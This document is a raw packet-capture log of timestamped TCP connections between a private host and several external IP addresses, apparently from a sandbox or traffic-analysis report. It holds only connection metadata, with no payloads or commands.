Nov 16, 2024 23:36:38.036780119 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.058211088 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.058238983 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.079333067 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.089458942 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.089483023 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.117448092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.117465019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.117480040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.117506981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.117544889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.152107954 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.197963953 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.220408916 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.220473051 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.221796036 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.221817017 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.228178978 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.228744984 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.228816032 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.229208946 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.229221106 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.274147987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.274188995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.274245024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.274240971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.274281025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.274310112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.274311066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.274333954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.274375916 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.298423052 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298464060 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298470974 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298475027 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298525095 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298540115 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.298577070 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.298597097 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.298623085 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.323579073 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.323635101 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.323663950 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.323683977 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.323703051 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.327440023 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.327743053 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.327761889 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.329077005 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.329148054 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.330209970 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.330269098 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.330351114 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.342658997 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.342897892 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.342959881 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.343898058 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.344099998 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.344115019 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.345227957 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.345283985 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.345340967 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.345431089 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.345438004 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.345705986 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.345768929 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.345829010 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.346173048 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.346349001 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.346374989 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.346698999 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.346779108 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.346915007 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.347059011 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.347240925 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.347282887 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.347381115 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.347384930 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.347433090 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.347450972 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.347470999 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.347578049 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.347587109 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.349222898 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.349303961 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.349617958 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.349701881 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.349736929 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.350488901 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.350550890 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.350852013 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.350919008 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.351242065 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.351263046 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.370847940 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.370963097 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.370975971 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.377295971 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.377351046 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.377409935 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.377644062 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.377670050 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.377686977 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.377696037 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.380553961 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.380577087 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.380866051 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.381038904 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.381050110 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.386457920 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.386466026 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.391335964 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.391357899 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.402093887 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.402096987 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.402102947 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.402102947 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.417710066 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.420043945 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.420077085 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.420130968 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.420146942 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.420161963 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.420180082 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.420191050 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.420217037 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.420229912 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.431838989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.431932926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.431967974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.431968927 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.431999922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.432024002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.432024002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.432034969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.432048082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.432071924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.432084084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.432105064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.432131052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.432207108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.433337927 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.437628031 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.437674046 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.437700033 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.437724113 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.437743902 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.437932968 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.442454100 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.442496061 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.442563057 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.442593098 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.442610025 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.442635059 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.448959112 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.454174042 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.454423904 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.454431057 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.455431938 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.455483913 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.456468105 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.456513882 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.456707001 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.456712961 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.479820967 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.479863882 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.479896069 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.479921103 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.479938984 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.479999065 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.490900040 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.491080046 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.491389990 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.492032051 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.492054939 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.493365049 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.493391991 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.493398905 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.493453979 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.493458986 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.493518114 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.497977018 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.500708103 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.500775099 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.500828028 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.500843048 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.500916004 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.500965118 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.503171921 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.503231049 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.503298044 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.503336906 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.503415108 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.503485918 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.504156113 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.504169941 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.505125046 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.505146980 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.509309053 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.509315968 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.519814014 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.519830942 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.519879103 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.519903898 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.519917965 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.519958019 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.521224022 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.521236897 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.539042950 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.539108038 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.539119959 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.539149046 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.539179087 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.539196014 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.555691957 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.555733919 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.555799007 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.555828094 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.555849075 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.555871964 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.555934906 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.555984020 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.556034088 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.556054115 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.588089943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588160038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588191032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588200092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588200092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588243008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588243008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588294983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588295937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588340044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588346004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588378906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588413000 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588426113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588443041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588455915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588476896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588485003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588510990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588543892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588556051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588578939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.588587999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.588618994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.597651005 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597676039 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597681999 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597856045 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.597873926 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597935915 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597966909 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.597997904 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.598016977 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.598016977 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.598016977 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.598043919 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.603425980 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.603449106 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.603566885 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.603566885 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.603580952 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.603774071 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.604326010 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.604372025 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.642023087 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.642481089 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.642494917 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.642893076 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.642946959 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.642951012 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.643141031 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.643296957 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.644001961 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.644016027 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.646147966 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.646173954 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.646302938 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.646749973 CET	49910	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:38.646759033 CET	443	49910	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:38.647125006 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.647527933 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.647568941 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.648288965 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.648300886 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.706763029 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.707040071 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.707106113 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.708240986 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.708334923 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.709392071 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.709466934 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.709573984 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.713596106 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.713613987 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.713680029 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.713689089 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.713727951 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.716757059 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.716772079 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.716835022 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.716841936 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.717401981 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.718381882 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.718456984 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.721457958 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.721537113 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.721570969 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.721594095 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.721594095 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.721651077 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.721870899 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:38.721883059 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:38.745157003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745193005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745254993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745317936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745376110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745409012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745444059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745474100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745474100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745486021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745496035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745529890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745578051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745582104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745626926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745676994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745711088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745726109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745739937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745784998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745790005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745822906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745852947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745886087 CET	80	49824	185.215.113.206	192.168.2.5
